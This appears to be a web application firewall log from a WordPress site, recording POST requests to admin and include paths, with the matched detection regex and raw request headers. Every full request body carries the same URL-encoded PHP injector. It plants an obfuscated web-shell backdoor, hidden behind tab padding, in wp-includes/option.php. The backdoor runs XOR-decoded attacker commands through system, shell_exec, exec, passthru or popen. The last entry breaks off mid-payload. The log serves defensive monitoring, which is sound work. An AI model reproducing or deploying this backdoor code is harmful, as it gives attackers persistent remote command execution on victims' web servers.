Safari\/604.1\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-length:5336\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\n\nPM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/option.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager4%2520%253D%2520%2522pa%255Cx73s%255Cx74%255Cx68%255Cx72u%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6E%255Cx74s%2522%253B%2520%2524restore_state%2520%253D%2520%2522%255Cx68ex%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524config_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524config_manager2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524config_manager5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522sy%255Cx73tem%2522%253B%2520%2524config_manager3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%2529%2520%257B%2520function%2520hub_center%2520%2528%2520%2524ent%2520%252C%2520%2524holder%2520%2529%2520%257B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524ent%2529%2520as%2520%2524char%2529%257B%2520%2524component.%253Dchr%2528ord%2528%2524char%2529%255E%2524holder%2529%253B%2520%257D%2520return%2520%2524component%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524restore_state%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520hub_center%2528%2524data_chunk%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524data_chunk%252C%2520%2524symbol_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524symbol_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524holder_component%2520%253D%2520%2524config_manager5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524holder_component%2529%2520%257B%2520%2524token_element%2520%253D%2520%2524config_manager6%2528%2524holder_component%2529%253B%2520%2524config_manager7%2528%2524holder_component%2529%253B%2520print%2520%2524token_element%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:45:38","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/option.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager4%2520%253D%2520%2522pa%255Cx73s%255Cx74%255Cx68%255Cx72u%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6E%255Cx74s%2522%253B%2520%2524restore_state%2520%253D%2520%2522%255Cx68ex%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524config_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524config_manager2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524config_manager5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522sy%255Cx73tem%2522%253B%2520%2524config_manager3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%2529%2520%257B%2520function%2520hub_center%2520%2528%2520%2524ent%2520%252C%2520%2524holder%2520%2529%2520%257B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524ent%2529%2520as%2520%2524char%2529%257B%2520%2524component.%253Dchr%2528ord%2528%2524char%2529%255E%2524holder%2529%253B%2520%257D%2520return%2520%2524component%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524restore_state%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520hub_center%2528%2524data_chunk%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524data_chunk%252C%2520%2524symbol_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524symbol_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524holder_component%2520%253D%2520%2524config_manager5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524holder_component%2529%2520%257B%2520%2524token_element%2520%253D%2520%2524config_manager6%2528%2524holder_component%2529%253B%2520%2524config_manager7%2528%2524holder_component%2529%253B%2520print%2520%2524token_element%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLyVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:5336\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nbR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/option.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager4%2520%253D%2520%2522pa%255Cx73s%255Cx74%255Cx68%255Cx72u%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6E%255Cx74s%2522%253B%2520%2524restore_state%2520%253D%2520%2522%255Cx68ex%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524config_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524config_manager2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524config_manager5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522sy%255Cx73tem%2522%253B%2520%2524config_manager3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%2529%2520%257B%2520function%2520hub_center%2520%2528%2520%2524ent%2520%252C%2520%2524holder%2520%2529%2520%257B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524ent%2529%2520as%2520%2524char%2529%257B%2520%2524component.%253Dchr%2528ord%2528%2524char%2529%255E%2524holder%2529%253B%2520%257D%2520return%2520%2524component%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524restore_state%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520hub_center%2528%2524data_chunk%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524data_chunk%252C%2520%2524symbol_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524symbol_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524holder_component%2520%253D%2520%2524config_manager5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524holder_component%2529%2520%257B%2520%2524token_element%2520%253D%2520%2524config_manager6%2528%2524holder_component%2529%253B%2520%2524config_manager7%2528%2524holder_component%2529%253B%2520print%2520%2524token_element%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:45:43","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Tn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/option.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager4%2520%253D%2520%2522pa%255Cx73s%255Cx74%255Cx68%255Cx72u%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6E%255Cx74s%2522%253B%2520%2524restore_state%2520%253D%2520%2522%255Cx68ex%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524config_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524config_manager2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524config_manager5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522sy%255Cx73tem%2522%253B%2520%2524config_manager3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%2529%2520%257B%2520function%2520hub_center%2520%2528%2520%2524ent%2520%252C%2520%2524holder%2520%2529%2520%257B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524ent%2529%2520as%2520%2524char%2529%257B%2520%2524component.%253Dchr%2528ord%2528%2524char%2529%255E%2524holder%2529%253B%2520%257D%2520return%2520%2524component%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524restore_state%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520hub_center%2528%2524data_chunk%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524data_chunk%252C%2520%2524symbol_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524symbol_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524holder_component%2520%253D%2520%2524config_manager5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524holder_component%2529%2520%257B%2520%2524token_element%2520%253D%2520%2524config_manager6%2528%2524holder_component%2529%253B%2520%2524config_manager7%2528%2524holder_component%2529%253B%2520print%2520%2524token_element%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIT4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:5336\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nTn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/option.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager4%2520%253D%2520%2522pa%255Cx73s%255Cx74%255Cx68%255Cx72u%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6E%255Cx74s%2522%253B%2520%2524restore_state%2520%253D%2520%2522%255Cx68ex%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524config_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524config_manager2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524config_manager5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522sy%255Cx73tem%2522%253B%2520%2524config_manager3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%2529%2520%257B%2520function%2520hub_center%2520%2528%2520%2524ent%2520%252C%2520%2524holder%2520%2529%2520%257B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524ent%2529%2520as%2520%2524char%2529%257B%2520%2524component.%253Dchr%2528ord%2528%2524char%2529%255E%2524holder%2529%253B%2520%257D%2520return%2520%2524component%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524restore_state%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520hub_center%2528%2524data_chunk%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524data_chunk%252C%2520%2524symbol_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524symbol_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524holder_component%2520%253D%2520%2524config_manager5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524holder_component%2529%2520%257B%2520%2524token_element%2520%253D%2520%2524config_manager6%2528%2524holder_component%2529%253B%2520%2524config_manager7%2528%2524holder_component%2529%253B%2520print%2520%2524token_element%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:45:53","98.130.43.189","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/option.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager4%2520%253D%2520%2522pa%255Cx73s%255Cx74%255Cx68%255Cx72u%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6E%255Cx74s%2522%253B%2520%2524restore_state%2520%253D%2520%2522%255Cx68ex%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524config_manager7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524config_manager2%2520%253D%2520%2522%255Cx73%255Cx68e%255Cx6Cl_%255Cx65x%255Cx65c%2522%253B%2520%2524config_manager5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522sy%255Cx73tem%2522%253B%2520%2524config_manager3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%2529%2520%257B%2520function%2520hub_center%2520%2528%2520%2524ent%2520%252C%2520%2524holder%2520%2529%2520%257B%2520%2524component%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524ent%2529%2520as%2520%2524char%2529%257B%2520%2524component.%253Dchr%2528ord%2528%2524char%2529%255E%2524holder%2529%253B%2520%257D%2520return%2520%2524component%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524restore_state%2528%2524_POST%255B%2522da%255Cx74%255Cx61_c%255Cx68unk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520hub_center%2528%2524data_chunk%252C%252067%2529%253B%2520if%2520%2528function_ex